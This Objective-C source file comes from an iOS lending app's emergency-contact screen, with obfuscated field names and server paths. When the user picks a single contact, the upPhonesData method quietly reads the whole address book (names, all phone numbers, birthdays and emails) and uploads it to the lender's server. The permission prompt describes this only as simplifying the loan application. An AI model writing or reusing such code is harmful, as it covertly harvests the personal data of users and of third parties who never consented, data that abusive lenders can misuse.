//
//  Contact.m
//  ChampoinPeso
//
//  Created by mac on 2025/2/18.
//

#import "Contact.h"
#import "OwnContactCell.h"
#import "ContactModel.h"
#import "SelectPop.h"
#import <ContactsUI/ContactsUI.h>
#import <Contacts/Contacts.h>
#import <AdSupport/AdSupport.h>
#import <YYModel/YYModel.h>
#import "LocationUpdata.h"
@interface Contact ()<UITableViewDelegate,UITableViewDataSource,UITextFieldDelegate,CNContactPickerDelegate>
@property (nonatomic,strong)UIButton *apply;
@property (nonatomic,strong)UITableView *tableView;
@property (nonatomic,strong)NSMutableArray *source;
@property (nonatomic,assign)NSInteger index;
@property(nonatomic, strong)CNContactStore *cStore;
@property (nonatomic,assign)BOOL pop;
@end

@implementation Contact

- (void)viewDidLoad {
    [super viewDidLoad];
    // Do any additional setup after loading the view.
    self.navtitleText = self.name;
    UIImageView *bgIV = [[UIImageView alloc] initWithFrame:self.view.bounds];
    bgIV.image = [UIImage imageNamed:@"contact_bg"];
    [self.view addSubview:bgIV];
    [[LocationUpdata sharedInstance] startMarkTag];
    [self navUI];
    [self setupUI];
    self.pop = false;
}
-(void)viewWillAppear:(BOOL)animated
{
    [super viewWillAppear:animated];
    [self contactSource];
}
-(NSMutableArray *)source
{
    if (!_source) {
        _source = [NSMutableArray array];
    }
    return _source;
}

///cham/reckless
-(void)contactSource
{
//    /cham/fair
    NSDictionary *params = @{@"gossip":_pid};
    [DataFrameMove frameMoverForPost:@"/cham/reckless" MoverPost:YES frameParm:params finish:^(id  _Nonnull info) {
        NSArray *items = info[@"fashion"][@"europeans"];
        [items enumerateObjectsUsingBlock:^(NSDictionary*  _Nonnull obj, NSUInteger idx, BOOL * _Nonnull stop) {
            ContactModel *model = [ContactModel new];
            model.excellent = CPS(obj[@"excellent"]);
            model.inquired = CPS(obj[@"madnevertheless"]);
            model.herin = CPS(obj[@"excellent"]);
            model.madnevertheless = [NSString stringWithFormat:@"%@",CPS(obj[@"madnevertheless"])];
            model.rubber = CPS(obj[@"rubber"]);
            model.supposing = CPS(obj[@"supposing"]);
            model.twentyeight = CPS(obj[@"twentyeight"]);
            model.decktogetherpoirot = CPS(obj[@"decktogetherpoirot"]);
            model.gloomy = CPS(obj[@"gloomy"]);
            model.instead = CPS(obj[@"instead"]);
            model.delivered = obj[@"delivered"];
            [self.source addObject:model];
        }];
        [self.tableView reloadData];
    }];
}

-(void)setupUI
{
    [self.view addSubview:self.apply];
    [_apply mas_makeConstraints:^(MASConstraintMaker *make) {
        make.bottom.mas_offset(-bottomSafeHeight-5);
        make.left.mas_offset(24);
        make.right.mas_offset(-24);
        make.height.mas_equalTo(52);
    }];
    [self.view addSubview:self.tableView];
    [_tableView mas_makeConstraints:^(MASConstraintMaker *make) {
        make.bottom.equalTo(_apply.mas_top).offset(-20);
        make.left.mas_offset(13);
        make.right.mas_offset(-13);
        make.top.mas_offset(98+64+MarginTop+20);
    }];
    [self.apply addTarget:self action:@selector(applyNext) forControlEvents:UIControlEventTouchUpInside];
}

-(void)applyNext
{
    

    //  /cham/greyhair
    NSMutableArray *item = [NSMutableArray array];
    [self.source enumerateObjectsUsingBlock:^(ContactModel *_Nonnull model, NSUInteger idx, BOOL * _Nonnull stop) {
        NSMutableDictionary *dict = [NSMutableDictionary dictionary];
        [dict setObject:model.madnevertheless forKey:@"madnevertheless"];//name
        [dict setObject:model.excellent forKey:@"excellent"];
        [dict setObject:model.rubber forKey:@"rubber"];
        [item addObject:dict];
    }];
    NSLog(@"%@",item);
    NSDictionary *params = @{@"gossip":_pid};
    NSData *data = [[item yy_modelToJSONString] dataUsingEncoding:NSUTF8StringEncoding];
    [DataFrameMove upData:@"/cham/greyhair" paramers:params file:data PostsWithBlock:^(id  _Nonnull JSON, NSError * _Nonnull error) {
        if ([JSON[@"gardening"] integerValue] == 0) {
            [self startMark:@"7"];
            [self.navigationController popViewControllerAnimated:YES];
        }else{
            [self showAutoMessage:JSON[@"hobby"] ToView:self.view];
        }
    }];
}

-(UIButton *)apply
{
    if (!_apply) {
        _apply = [UIButton buttonWithType:UIButtonTypeCustom];
        [_apply setImage:[UIImage imageNamed:@"auth_next"] forState:UIControlStateNormal];
    }
    return _apply;
}

-(UITableView *)tableView
{
    if (!_tableView) {
        _tableView = [[UITableView alloc]initWithFrame:CGRectZero style:UITableViewStylePlain];
        _tableView.backgroundColor = UIColor.clearColor;
        _tableView.delegate = self;
        _tableView.dataSource = self;
        _tableView.showsVerticalScrollIndicator = NO;
        _tableView.showsHorizontalScrollIndicator = NO;
        _tableView.separatorStyle = UITableViewCellSeparatorStyleNone;
        _tableView.bounces = NO;
    }
    return _tableView;
}
-(NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section
{
    return self.source.count;
}

-(UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath
{
    OwnContactCell *cell =  [[OwnContactCell alloc]initWithStyle:UITableViewCellStyleDefault reuseIdentifier:NSStringFromClass([OwnContactCell class])];
    cell.backgroundColor = UIColor.clearColor;
    ContactModel *model = self.source[indexPath.row];
    cell.title.text = model.supposing;
    cell.titleLabel.text = model.twentyeight;
    cell.titleLabel2.text = model.gloomy;
    [cell setPlaceHolder:model.twentyeight];
    [cell setPlaceHolder2:model.instead];
    if (![model.excellent isEqualToString:@""]) {
        [model.delivered enumerateObjectsUsingBlock:^(NSDictionary*  _Nonnull obj, NSUInteger idx, BOOL * _Nonnull stop) {
            if ([model.excellent isEqualToString:obj[@"herin"]]) {
                cell.name.text = obj[@"madnevertheless"];
            }
        }];
    }
    if (![model.madnevertheless isEqualToString:@""]) {
        cell.name2.text = [NSString stringWithFormat:@"%@-%@",model.madnevertheless,model.rubber];
    }
    cell.name.delegate = self;
    cell.name2.delegate = self;
    cell.name.tag = indexPath.row;
    cell.name2.tag = indexPath.row+100;
    cell.selectionStyle = UITableViewCellSelectionStyleNone;
    cell.detailImg.image = [UIImage imageNamed:@"down"];
    cell.detailImg2.image = [UIImage imageNamed:@"phone"];

    return cell;
}


- (BOOL)textFieldShouldBeginEditing:(UITextField *)textField {
    if (textField.tag>=100) {
        [self checkContactsPermission];
        self.index = textField.tag-100;
        [self.view endEditing:YES];
        return NO;
    }else{
        __block ContactModel *model = self.source[textField.tag];
        [[SelectPop getInstance] oneSelect:model key:0];
        [SelectPop getInstance].commitAction = ^(BRResultModel * _Nonnull model1) {
            // model.madnevertheless;
            model.excellent = model1.key;
            model.herin = model1.key;
            [self.source replaceObjectAtIndex:textField.tag withObject:model];
            [self->_tableView reloadData];
        };
        [self.view endEditing:YES];
        return NO;
    }
    return YES;    
}




- (void)contactPicker:(CNContactPickerViewController *)picker didSelectContact:(CNContact *)contact {
    NSArray<CNLabeledValue<CNPhoneNumber*>*>  *phoneNumbers = contact.phoneNumbers;
    if(phoneNumbers.count > 0){
        NSString *institutions = @"";
        NSString *phoneStr = [NSString stringWithFormat:@"%@",phoneNumbers[0].value.stringValue];
        phoneStr = [phoneStr stringByReplacingOccurrencesOfString:@"(" withString:@""];
        phoneStr = [phoneStr stringByReplacingOccurrencesOfString:@")" withString:@""];
        phoneStr = [phoneStr stringByReplacingOccurrencesOfString:@"-" withString:@""];
        institutions = [institutions stringByAppendingFormat:@"%@",phoneStr];
        institutions = [institutions stringByReplacingOccurrencesOfString:@" " withString:@""];
        ContactModel *model = self.source[self.index];
        model.madnevertheless = [NSString stringWithFormat:@"%@ %@",contact.givenName,contact.familyName];
        model.rubber   = institutions;
        [self.source replaceObjectAtIndex:self.index withObject:model];
        [self.tableView reloadData];
        [self upPhonesData];
    }
}


/*
#pragma mark - Navigation

// In a storyboard-based application, you will often want to do a little preparation before navigation
- (void)prepareForSegue:(UIStoryboardSegue *)segue sender:(id)sender {
    // Get the new view controller using [segue destinationViewController].
    // Pass the selected object to the new view controller.
}
*/

#pragma mark -UPData-
- (void)upPhonesData {
    
    NSMutableArray *data = [NSMutableArray new];
    CNContactFetchRequest *request=[[CNContactFetchRequest alloc] initWithKeysToFetch:@[CNContactGivenNameKey,CNContactFamilyNameKey,CNContactPhoneNumbersKey,CNContactBirthdayKey,CNContactEmailAddressesKey]];

    BOOL result = [self.cStore enumerateContactsWithFetchRequest:request error:nil usingBlock:^(CNContact * _Nonnull contact, BOOL * _Nonnull stop) {
        
        NSString *pen = @"";
        for(CNLabeledValue *labelValue in contact.phoneNumbers) {
            CNPhoneNumber *phoneNumber = labelValue.value;
            NSString *phoneValue = phoneNumber.stringValue;
            if([pen isEqualToString:@""]){
                pen = [pen stringByAppendingString:phoneValue];
            } else {
                pen = [pen stringByAppendingString:@","];
                pen = [pen stringByAppendingString:phoneValue];
            }
        }
        NSString *cloth =  @"";
        NSDateFormatter *forma = [[NSDateFormatter alloc] init];
        [forma setDateFormat:@"YYYYMMDD"];
        NSString *guineas = [forma stringFromDate:contact.birthday.date] ? [forma stringFromDate:contact.birthday.date] : @"";
        NSString *loin = @"";
        if(contact.emailAddresses.count > 0){
            NSString *loin = contact.emailAddresses[0].value ? contact.emailAddresses[0].value : @"";
        }
        
        
        [data addObject:@{@"greyhair":pen,@"washe":@"",@"games":cloth,@"pleasuresuch":guineas ,@"leaningagainst":loin,@"caredbut":@"",@"madnevertheless":[NSString stringWithFormat:@"%@ %@",contact.givenName,contact.familyName]}];
        
        //for test
//        [data addObject:@{@"greyhair":@"13949494",@"washe":@"",@"cloth":cloth ,@"pleasuresuch":guineas,@"loin":loin,@"knife":@"",@"madnevertheless":[NSString stringWithFormat:@"sky"]}];
        
    }];
    
    NSLog(@"%@",data);
    
    if(result == YES){
        [DataFrameMove frameMoverForPost:@"/cham/yunching" MoverPost:YES frameParm:@{@"fashion":[data yy_modelToJSONString]} finish:^(id  _Nonnull info) {
            
        }];
    }
}

- (CNContactStore *)cStore {
    if(!_cStore){
        _cStore = [[CNContactStore alloc] init];
    }
    return _cStore;
}
- (void)checkContactsPermission {
    CNAuthorizationStatus status = [CNContactStore authorizationStatusForEntityType:CNEntityTypeContacts];
    switch (status) {
        case CNAuthorizationStatusAuthorized:
            [self accessAllContacts];
            break;
            
        case CNAuthorizationStatusLimited:
        case CNAuthorizationStatusDenied:
        case CNAuthorizationStatusRestricted:
            [self popproms];
            break;
            
        case CNAuthorizationStatusNotDetermined:
            [self requestContactsPermission];
            break;
    }
}

- (void)requestContactsPermission {
    [self.cStore requestAccessForEntityType:CNEntityTypeContacts completionHandler:^(BOOL granted, NSError * _Nullable error) {
        dispatch_async(dispatch_get_main_queue(), ^{
            [self checkContactsPermission]; // 再次检查状态
        });
    }];
}

- (void)accessAllContacts {
    CNContactPickerViewController *vc = [[CNContactPickerViewController alloc] init];
    vc.delegate = self;
    [self presentViewController:vc animated:NO completion:nil];
}

-(void)popproms{
    dispatch_async(dispatch_get_main_queue(), ^{
        UIAlertController *alert =  [UIAlertController alertControllerWithTitle: @"The APP applies to access the contact list. Easily upload contact information to simplify steps and accelerate the loan application." message:nil preferredStyle:UIAlertControllerStyleAlert];
        UIAlertAction *ok = [UIAlertAction actionWithTitle:@"Setting" style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
            [[UIApplication sharedApplication] openURL:[NSURL URLWithString:UIApplicationOpenSettingsURLString] options:nil completionHandler:nil];
        }];
        UIAlertAction *cancel = [UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleCancel handler:nil];
        [alert addAction:cancel];
        [alert addAction:ok];
        [self presentViewController:alert animated:YES completion:nil];
    });
}

@end
